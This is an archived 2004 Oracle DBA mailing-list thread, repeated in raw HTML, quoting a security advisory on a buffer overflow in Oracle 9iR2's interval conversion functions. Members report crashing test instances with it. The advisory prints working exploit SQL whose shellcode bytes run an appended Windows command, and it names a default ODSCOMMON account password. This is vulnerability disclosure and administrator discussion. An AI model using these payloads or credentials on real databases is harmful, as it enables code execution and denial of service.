Links
• Home
• Oracle DBA Forum
Frequent Oracle Errors
•TNS:could not resolve the connect identifier specified
•Backtrace message unwound by exceptions
•invalid identifier
•PL/SQL compilation error
•internal error
•missing expression
•table or view does not exist
•end-of-file on communication channel
•TNS:listener unknown in connect descriptor
•insufficient privileges
•PL/SQL: numeric or value error string
•TNS:protocol adapter error
•ORACLE not available
•target host or object does not exist
•invalid number
•unable to allocate string bytes of shared memory
•resource busy and acquire with NOWAIT specified
•error occurred at recursive SQL level string
•ORACLE initialization or shutdown in progress
•archiver error. Connect internal only, until freed
•snapshot too old
•unable to extend temp segment by string in tablespace
•Credential retrieval failed
•missing or invalid option
•invalid username/password; logon denied
•unable to create INITIAL extent for segment
•out of process memory when trying to allocate string bytes
•shared memory realm does not exist
•cannot insert NULL
•TNS:unable to connect to destination
•remote database not found'>ora-02019
•exception encountered: core dump
•inconsistent datatypes
•no data found
•TNS:operation timed out
•PL/SQL: could not find program
•existing state of packages has been discarded
•maximum number of processes exceeded
•error signaled in parallel query server
•ORACLE instance terminated. Disconnection forced
•TNS:packet writer failure
•see ORA-12699
•missing right parenthesis
•name is already used by an existing object
•cannot identify/lock data file
•invalid file operation
•quoted string not properly terminated
Oracle Database 9ir2 Interval Conversion Buffer Overflow

Oracle Database 9ir2 Interval Conversion Buffer Overflow

2004-02-26       - By Jared.Still@(protected)

Reply:     1     2     3     4     5     6     7     8     9     10  

Here 's a link to the posting on BugTraq

http://cert.uni-stuttgart.de/archive/ntbugtraq/2004/02/msg00015.html






Jared.Still@(protected)
Sent by: oracle-l-bounce@(protected)
02/26/2004 01:25 PM
Please respond to oracle-l


To: oracle-l@(protected)
cc:
Subject: Re: [NEWS] Oracle Database 9ir2 Interval Conversion Buffer Overflow



Mohammed,

Your email inspired my to try it on local database.

After starting up a 9.2 database on my laptop, I ran the query.

It did indeed create the file.

The sqlplus session appears to be hung.

The instance is still up though, as I can login from another CMD window.

Next I tried running the query on a remote 9.2.0,3 instance on a Win2k
server.

It 's running SAP, but as it is our test server it is generally safe crash
it without
repercussions.

Which is exactly what happened. The query crashed the instance, killed
the service.

Agreed, it is a dangerous bug.

Jared






mkb <mkb125@(protected) >
Sent by: oracle-l-bounce@(protected)
02/26/2004 12:33 PM
Please respond to oracle-l

To: oracle-l@(protected)
cc:
Subject: Re: [NEWS] Oracle Database 9ir2 Interval
Conversion Buffer Overflow



Hmmmm.....

Oracle 9.2.0.3 on Win2K, shutdown the instance and the
Oracle service.

Pretty serious bug to me.

mohammed

--- Jared.Still@(protected) wrote:
> Has anyone here heard of this?
>
> First I 've seen it. Could not get the exploit to
> work on 8i or 9i,
> haven 't tried 10g.
>
> It does however cause an ORA-3113 (See ORA-3113.ora-code.com).
>
> Jared
>
> =================================
>
> The following security advisory is sent to the
> securiteam mailing list,
> and can be found at the SecuriTeam web site:
> http://www.securiteam.com
> - - promotion
>
> The SecuriTeam alerts list - Free, Accurate,
> Independent.
>
> Get your security news from a reliable source.
> http://www.securiteam.com/mailinglist.html
>
>
> - - - - - - - - -
> Oracle Database 9ir2 Interval Conversion Buffer
> Overflow
> Oracle Database Server is one of the most used
> database servers in the
> world, it was marketed as being unbreakable and many
> people thinks that is
> one of the most secure database server in the
> market.
>
> Oracle Database Server provides two functions that
> can be used with PL/SQL
> to convert numbers to date/time intervals, these
> functions have buffer
> overflow vulnerabilities.
> Vulnerable Systems:
> * Oracle Database version 9ir2 and prior
>
> When any of these conversion functions are called
> with a long string as a
> second parameter a buffer overflow occurs.
>
> To reproduce the overflow execute the next PL/SQL:
> SELECT NUMTOYMINTERVAL(1, 'longstringhere ') from
> dual;
> SELECT NUMTODSINTERVAL(1, 'longstringhere ') from
> dual;
>
> Any Oracle Database user can exploit this
> vulnerability because access to
> these functions can 't be restricted. Exploitation of
> this vulnerability
> allow an attacker to execute arbitrary code, also it
> can be exploited to
> cause DOS (Denial of service) killing Oracle server
> process. An attacker
> can complete compromise the OS and database if
> Oracle is running on
> Windows platform, because Oracle must run under the
> local System account
> or under an administrative account. If Oracle is
> running on *nix then only
> the database could be compromised because Oracle
> runs mostly under oracle
> user which has restricted permissions.
>
> Important: Exploitation of these vulnerabilities
> becomes easy if Oracle Internet
> Directory has been deployed, because Oracle Internet
> Directory creates a
> database user called ODSCOMMON that has a default
> password ODSCOMMON, this
> password can not be changed, so any attacker can use
> this user to connect
> to database and exploit these vulnerabilities.
>
> Full tests on Oracle database 9ir2 under Microsoft
> Windows 2000 Server and
> Linux confirm these vulnerabilities. Versions
> running in other OS
> platforms are believed to be affected too. Previous
> Oracle Database Server
> versions could be affected by these vulnerabilities.
>
>
> Exploits:
> -- These exploits should work on Windows 2000 Server
> and Windows XP, not
> tested on Windows 2003.
> -- Run any command at the end of the string
> SELECT
>
NUMTOYMINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR '
> ||
> chr(59) || chr(79) || chr(150) || chr(01) ||
> chr(141) || chr(68) ||
> chr(36) || chr(18) || chr(80) || chr(255) || chr(21)
> || chr(52) || chr(35)
> || chr(148) || chr(01) || chr(255) || chr(37) ||
> chr(172) || chr(33) ||
> chr(148) || chr(01) || chr(32)|| 'echo ARE YOU SURE?
> >c:\Unbreakable.txt ')
> ?FROM DUAL;
>
> SELECT
>
NUMTODSINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR '
> ||
> chr(59) || chr(79) || chr(150) || chr(01) ||
> chr(141) || chr(68) ||
> chr(36) || chr(18) || chr(80) || chr(255) || chr(21)
> || chr(52) || chr(35)
> || chr(148) || chr(01) || chr(255) || chr(37) ||
> chr(172) || chr(33) ||
> chr(148) || chr(01) || chr(32) || 'echo ARE YOU
> SURE?
> >c:\Unbreakable.txt ') ?
>
> FROM DUAL;
>
> Vendor Fix:
> Go to Oracle Metalink site,
> http://metalink.oracle.com.
>
> Vendor Contact:
> Oracle was contacted and they released a fix without
> telling the public
> nor Ceaser anything and without issuing an alert.
> Additional Information:
> The information has been provided by Cesar.
>




<br > <font size=2 face= "sans-serif " >Here 's a link to the posting on BugTraq </font >
<br >
<br > <font size=2 face= "sans-serif " >http://cert.uni-stuttgart.de/archive/ntbugtraq/2004/02/msg00015.html </font >
<br > <font size=2 face= "sans-serif " > <br >
</font >
<br >
<br >
<br >
<table width=100% >
<tr valign=top >
<td >
<td > <font size=1 face= "sans-serif " > <b >Jared.Still@(protected) </b > </font >
<br > <font size=1 face= "sans-serif " >Sent by: oracle-l-bounce@(protected) </font >
<p > <font size=1 face= "sans-serif " > 02/26/2004 01:25 PM </font >
<br > <font size=2 face= "sans-serif " >  </font > <font size=1 face= "sans-serif " >Please respond to oracle-l </font >
<br >
<td > <font size=1 face= "Arial " >        </font >
<br > <font size=1 face= "sans-serif " >        To:        oracle-l@(protected) </font >
<br > <font size=1 face= "sans-serif " >        cc:         </font >
<br > <font size=1 face= "sans-serif " >        Subject:        Re: [NEWS] Oracle Database 9ir2 Interval Conversion Buffer Overflow </font > </table >
<br >
<br >
<br > <font size=2 face= "sans-serif " > <br >
Mohammed, </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
Your email inspired my to try it on  local database. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
After starting up a 9.2 database on my laptop, I ran the query. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
It did indeed create the file. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
The sqlplus session appears to be hung. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
The instance is still up though, as I can login from another CMD window. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
Next I tried running the query on a remote 9.2.0,3 instance on a Win2k server. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
It 's running SAP, but as it is our test server it is generally safe crash it without </font > <font size=3 face= "Times New Roman " > </font > <font size=2 face= "sans-serif " > <br >
repercussions. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
Which is exactly what happened.  The query crashed the instance, killed the service. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
Agreed, it is a dangerous bug. </font > <font size=3 face= "Times New Roman " > <br >
</font > <font size=2 face= "sans-serif " > <br >
Jared </font > <font size=3 face= "Times New Roman " > <br >
<br >
<br >
<br >
<br >
</font >
<table width=100% >
<tr valign=top >
<td width=2% >
<td width=29% > <font size=1 face= "sans-serif " > <b >mkb <mkb125@(protected)> </b > </font > <font size=3 face= "Times New Roman " > </font > <font size=1 face= "sans-serif " > <br >
Sent by: oracle-l-bounce@(protected) </font > <font size=3 face= "Times New Roman " > </font >
<p > <font size=1 face= "sans-serif " > 02/26/2004 12:33 PM </font > <font size=3 face= "Times New Roman " > </font > <font size=2 face= "sans-serif " > <br >
</font > <font size=1 face= "sans-serif " >Please respond to oracle-l </font > <font size=3 face= "Times New Roman " > </font >
<td width=67% > <font size=1 face= "Arial " >        </font > <font size=1 face= "sans-serif " > <br >
       To:        oracle-l@(protected) </font > <font size=3 face= "Times New Roman " > </font > <font size=1 face= "sans-serif " > <br >
       cc:         </font > <font size=3 face= "Times New Roman " > </font > <font size=1 face= "sans-serif " > <br >
       Subject:        Re: [NEWS] Oracle Database 9ir2 Interval Conversion Buffer Overflow </font > </table >
<br > <font size=3 face= "Times New Roman " > <br >
<br >
</font > <font size=2 face= "Courier New " > <br >
Hmmmm..... <br >
<br >
Oracle 9.2.0.3 on Win2K, shutdown the instance and the <br >
Oracle service. <br >
<br >
Pretty serious bug to me. <br >
<br >
mohammed <br >
<br >
--- Jared.Still@(protected) wrote: <br >
> Has anyone here heard of this? <br >
> <br >
> First I 've seen it.  Could not get the exploit to <br >
> work on 8i or 9i, <br >
> haven 't tried 10g. <br >
> <br >
> It does however cause an ORA-3113 (See ORA-3113.ora-code.com). <br >
> <br >
> Jared </font >
<br > <font size=2 face= "Courier New " >> <br >
> ================================= <br >
> <br >
> The following security advisory is sent to the <br >
> securiteam mailing list, <br >
> and can be found at the SecuriTeam web site: <br >
> http://www.securiteam.com <br >
> - - promotion <br >
> <br >
> The SecuriTeam alerts list - Free, Accurate, <br >
> Independent. <br >
> <br >
> Get your security news from a reliable source. <br >
> http://www.securiteam.com/mailinglist.html <br >
> <br >
> <br >
> - - - - - - - - - <br >
> Oracle Database 9ir2 Interval Conversion Buffer <br >
> Overflow <br >
> Oracle Database Server is one of the most used <br >
> database servers in the <br >
> world, it was marketed as being unbreakable and many <br >
> people thinks that is <br >
> one of the most secure database server in the <br >
> market. <br >
> <br >
> Oracle Database Server provides two functions that <br >
> can be used with PL/SQL <br >
> to convert numbers to date/time intervals, these <br >
> functions have buffer <br >
> overflow vulnerabilities. <br >
> Vulnerable Systems: <br >
>  * Oracle Database version 9ir2 and prior <br >
> <br >
> When any of these conversion functions are called <br >
> with a long string as a <br >
> second parameter a buffer overflow occurs. <br >
> <br >
> To reproduce the overflow execute the next PL/SQL: <br >
> SELECT NUMTOYMINTERVAL(1, 'longstringhere ') from <br >
> dual; <br >
> SELECT NUMTODSINTERVAL(1, 'longstringhere ') from <br >
> dual; <br >
> <br >
> Any Oracle Database user can exploit this <br >
> vulnerability because access to <br >
> these functions can 't be restricted. Exploitation of <br >
> this vulnerability <br >
> allow an attacker to execute arbitrary code, also it <br >
> can be exploited to <br >
> cause DOS (Denial of service) killing Oracle server <br >
> process. An attacker <br >
> can complete compromise the OS and database if <br >
> Oracle is running on <br >
> Windows platform, because Oracle must run under the <br >
> local System account <br >
> or under an administrative account. If Oracle is <br >
> running on *nix then only <br >
> the database could be compromised because Oracle <br >
> runs mostly under oracle <br >
> user which has restricted permissions. <br >
> <br >
> Important: Exploitation of these vulnerabilities <br >
> becomes easy if Oracle Internet <br >
> Directory has been deployed, because Oracle Internet <br >
> Directory creates a <br >
> database user called ODSCOMMON that has a default </font >
<br > <font size=2 face= "Courier New " >> password ODSCOMMON, this <br >
> password can not be changed, so any attacker can use <br >
> this user to connect <br >
> to database and exploit these vulnerabilities. <br >
> <br >
> Full tests on Oracle database 9ir2 under Microsoft <br >
> Windows 2000 Server and <br >
> Linux confirm these vulnerabilities. Versions <br >
> running in other OS <br >
> platforms are believed to be affected too. Previous <br >
> Oracle Database Server <br >
> versions could be affected by these vulnerabilities. <br >
> <br >
> <br >
> Exploits: <br >
> -- These exploits should work on Windows 2000 Server <br >
> and Windows XP, not <br >
> tested on Windows 2003. <br >
> -- Run any command at the end of the string <br >
> SELECT <br >
> <br >
NUMTOYMINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' <br >
> || <br >
> chr(59) || chr(79) || chr(150) || chr(01) || <br >
> chr(141) || chr(68) || <br >
> chr(36) || chr(18) || chr(80) || chr(255) || chr(21) <br >
> || chr(52) || chr(35) <br >
> || chr(148) || chr(01) || chr(255) || chr(37) || <br >
> chr(172) || chr(33) || <br >
> chr(148) || chr(01) || chr(32)|| 'echo ARE YOU SURE? <br >
> >c:\Unbreakable.txt ') <br >
> ?FROM DUAL; <br >
> <br >
> SELECT <br >
> <br >
NUMTODSINTERVAL(1, 'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR ' <br >
> || <br >
> chr(59) || chr(79) || chr(150) || chr(01) || <br >
> chr(141) || chr(68) || <br >
> chr(36) || chr(18) || chr(80) || chr(255) || chr(21) <br >
> || chr(52) || chr(35) <br >
> || chr(148) || chr(01) || chr(255) || chr(37) || <br >
> chr(172) || chr(33) || <br >
> chr(148) || chr(01) || chr(32) || 'echo ARE YOU <br >
> SURE? <br >
> >c:\Unbreakable.txt ') ? <br >
> <br >
> FROM DUAL; <br >
> <br >
> Vendor Fix: <br >
> Go to Oracle Metalink site, <br >
> http://metalink.oracle.com. <br >
> <br >
> Vendor Contact: <br >
> Oracle was contacted and they released a fix without <br >
> telling the public <br >
> nor Ceaser anything and without issuing an alert. <br >
> Additional Information: <br >
> The information has been provided by Cesar. <br >
> <br >
</font >
<br >
<br >